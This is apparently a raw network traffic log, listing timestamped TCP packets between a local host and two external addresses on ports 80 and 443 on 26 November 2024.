Nov 26, 2024 08:03:42.236973047 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.237041950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.239559889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.239568949 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.239620924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.242321014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.242377996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.242434978 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.245208025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.245304108 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.245340109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.245434999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.247819901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.247936010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.248049974 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.250335932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.250382900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.250456095 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.250629902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.253426075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.253483057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.253642082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.253768921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.255724907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.255810022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.255847931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.255970955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.258446932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.258507967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.258610010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.258697033 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.261038065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.261090994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.261157036 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.261198997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.263855934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.263957024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.263993025 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.264043093 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.266513109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.266567945 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.266583920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.266627073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.269113064 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.269181013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.269217014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.269284010 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.271838903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.271888971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.271949053 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.272026062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.274580956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.274760008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.274807930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.274821997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.277226925 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.277323008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.277334929 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.277370930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.279903889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.279947996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.279962063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.279989004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.282601118 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.282655954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.282675028 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.282717943 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.285255909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.285309076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.285341978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.285393000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.287945032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.287996054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.288009882 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.288037062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.290661097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.290723085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.290756941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.290848017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.293319941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.293370008 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.293400049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.293469906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.296080112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.296087980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.296135902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.298871994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.298918009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.298954010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.299005032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.301436901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.301481009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.301512003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.301557064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.304110050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.304193020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.304194927 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.304238081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.306807041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.306858063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.306943893 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.307018995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.309479952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.309533119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.309566975 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.309705973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.312237024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.312288046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.312299967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.312416077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.314853907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.314896107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.314960003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.315141916 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.317549944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.317594051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.317651987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.317703009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.320262909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.320312023 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.320450068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.320493937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.322993040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.323019981 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.323072910 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.325622082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.325664043 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.325686932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.325699091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.395021915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.395095110 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.395133018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.395333052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.395970106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.396008968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.396039009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.396083117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.397430897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.397505045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.397533894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.397574902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.399390936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.399446964 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.399522066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.399571896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.401395082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.401437044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.401458979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.401532888 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.403068066 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.403121948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.403198957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.403244019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.404913902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.404958963 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.405021906 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.405090094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.406773090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.406841040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.406866074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.406907082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.408654928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.408720970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.408737898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.408803940 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.410353899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.410398960 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.410429001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.410674095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.412168980 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.412220955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.412255049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.412317991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.413938046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.414002895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.414033890 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.414078951 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.415755987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.415819883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.415847063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.415865898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.417437077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.417500973 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.417538881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.417594910 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.419133902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.419230938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.419265032 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.419301987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.420938015 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.420994997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.421076059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.421148062 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.422593117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.422648907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.422718048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.422758102 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.424316883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.424325943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.424365997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.426039934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.426084995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.426135063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.426175117 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.427687883 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.427730083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.427736044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.427772045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.429600000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.429605961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.429649115 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.430984020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.431086063 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.431133032 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.432631969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.432677984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.432748079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.432936907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.434278011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.434385061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.434410095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.434432030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.435903072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.435962915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.436057091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.436110020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.436866045 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.436913967 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.436983109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.437025070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.437844038 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.437886953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.437943935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.438069105 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.438788891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.438884020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.438899040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.438940048 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.439748049 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.439871073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.439913988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.440675020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.440726042 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.440746069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.440789938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.441667080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.441730976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.441762924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.441852093 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.442614079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.442708015 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.442730904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.442764044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.443573952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.443634033 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.443649054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.443676949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.444500923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.444614887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.444648027 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.444839954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.445461988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.445507050 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.445537090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.445571899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.446435928 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.446533918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.446569920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.446605921 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.447362900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.447407961 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.447479010 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.447568893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.448349953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.448395014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.448494911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.448543072 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.449270964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.449289083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.449317932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.449332952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.450226068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.450326920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.450367928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.451152086 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.451222897 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.451291084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.451370955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.452121019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.452192068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.452225924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.452285051 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.453074932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.453125000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.453233957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.453277111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.454021931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.454075098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.454108953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.454164982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.454991102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.454998016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.455046892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.455931902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.456028938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.456093073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.456954956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.457030058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.457081079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.457206011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.457834005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.457892895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.457910061 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.457993984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.458838940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.458914995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.458950996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.458988905 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.459712982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.459784985 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.459815979 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.459918022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.460660934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.460719109 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.460750103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.460813046 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.461623907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.461685896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.461715937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.461760044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.462688923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.462696075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.463468075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.463615894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.486727953 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.486818075 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.486938953 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.487338066 CET	49785	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:42.487364054 CET	443	49785	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:42.607192039 CET	80	49747	185.215.113.206	192.168.2.8
